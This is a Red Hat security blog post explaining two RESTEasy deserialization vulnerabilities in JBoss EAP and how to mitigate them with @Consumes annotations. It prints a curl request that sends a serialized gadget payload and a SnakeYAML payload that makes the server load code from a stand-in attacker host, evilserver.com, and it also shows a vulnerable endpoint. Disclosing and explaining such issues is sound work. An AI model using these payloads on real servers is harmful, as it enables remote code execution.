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Abuse of RESTEasy Default Providers in JBoss EAP

Jason Shepherd published on 2017-10-18T13:30:00+00:00, last updated 2017-10-18T13:52:03+00:00

Red Hat JBoss Enterprise Application Platform (EAP) is a commonly used host for Restful webservices. A powerful but potentially dangerous feature of Restful webservices on JBoss EAP is the ability to accept any media type. If not configured to accept only a specific media type, JBoss EAP will dynamically process the request with the default provider matching the Content-Type HTTP Header which the client specifies. Some of the default providers where found to have vulnerabilities which have now been removed from JBoss EAP and it's upstream Restful webservice project, RESTEasy.

The attack vector

There are two important vulnerabilities fixed in the RESTEasy project in 2016 which utilized default providers as an attack vector. CVE-2016-7050 was fixed in version 3.0.15.Final, while CVE-2016-9606 was fixed in version 3.0.22.Final. Both vulnerabilities took advantage of the default providers available in RESTEasy. They relied on a webservice endpoint doing the following:

  • @Consumes annotation was present specifying wildcard mediaType {*/*}
  • @Consumes annotation was not present on webservice endpoint
  • Webservice endpoint consumes a multipart mediaType

Here's an example of what a vulnerable webservice would look like:

import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

@Path("/")
public class PoC_resource {

        @POST
        @Path("/concat")
        public Map<String, String> doConcat(Pair pair) {
                HashMap<String, String> result = new HashMap<String, String>();
                result.put("Result", pair.getP1() + pair.getP2());
                return result;
        }

}

Notice how there is no @Consumes annotation on the doConcat method.

The vulnerabilities

CVE-2016-7050 took advantage of the deserialization capabilities of SerializableProvider. It was fixed upstream1 before Product Security became aware of it. Luckily, the RESTEasy version used in the supported version of JBoss EAP 7 was later than 3.0.15.Final, so it was not affected. It was reported to Red Hat by Mikhail Egorov of Odin.

If a Restful webservice endpoint wasn't configured with a @Consumes annotation, an attacker could utilize the SerializableProvider by sending a HTTP Request with a Content-Type of application/x-java-serialized-object. The body of that request would be processed by the SerializationProvider and could contain a malicious payload generated with ysoserial2 or similar. A remote code execution on the server could occur as long as there was a gadget chain on the classpath of the web service application.

Here's an example:

curl -v -X POST http://localhost:8080/example/concat -H 'Content-Type: application/x-java-serialized-object' -H 'Expect:' --data-binary '@payload.ser'

CVE-2016-9606 also exploited the default providers of Resteasy. This time it was the YamlProvider which was the target of abuse. This vulnerability was easier to exploit because it didn't require the application to have a gadget chain library on the classpath. Instead, the Snakeyaml library from Resteasy was being exploited directly to allow remote code execution. This issue was reported to Red Hat Product Security by Moritz Bechler of AgNO3 GmbH & Co. KG.

SnakeYaml allows loading classes with a URLClassloader, using it's ScriptEngineManager feature. With this feature, a malicious actor could host malicious Java code on their own web server and trick the webservice into loading that Java code and executing it.

An example of a malicious request is as follows:

curl -X POST --data-binary '!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://evilserver.com/"]]]]' -H "Content-Type: text/x-yaml" -v http://localhost:8080/example/concat

Where evilserver.com is a host controlled by the malicious actor

Again, you can see the use of Content-Type, HTTP Header, which tricks RESTEasy into using YamlProvider, even though the developer didn't intend for it to be accessible.

How to stay safe

The latest versions of EAP 6.4.x, and 7.0.x are not affected by these issues. CVE-2016-9606 did affect EAP 6.4.x; it was fixed in the 6.4.15 release. CVE-2016-9606 was not exploitable on EAP 7.0.x, but we found it was possible to exploit on 7.1 and is now fixed in the 7.1.0.Beta release. CVE-2016-7050 didn't affect either of EAP 6.4.x, or 7.0.x.

If you're using an unpatched release of upstream RESTEasy, be sure to specify the mediaType you're expecting when defining the Restful webservice endpoint. Here's an example of an endpoint that would not be vulnerable:

import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

@Path("/")
public class PoC_resource {

        @POST
        @Path("/concat")
        @Consumes("application/json")
        public Map<String, String> doConcat(Pair pair) {
                HashMap<String, String> result = new HashMap<String, String>();
                result.put("Result", pair.getP1() + pair.getP2());
                return result;
        }

}

Notice this safe version added a @Consumes annotation with a mediaType of application/json

This is good practice anyway, because if a HTTP client tries to send a request with a different Content-Type HTTP Header the application will give an appropriate error response, indicating that the Content-Type is not supported.


  1. https://issues.jboss.org/browse/RESTEASY-1269 

  2. https://github.com/frohoff/ysoserial 

About The Author

rhn-support-jshepher's picture

Jason Shepherd

Jason is a Senior Software Engineer in the Product Security team at Red Hat. He has over 10 years experience as a Java developer, including 5 years working for Red Hat Technical Support. Jason published a series of videos on JBoss EAP 6 from Packt Publishing. Jason is interested in application deve...
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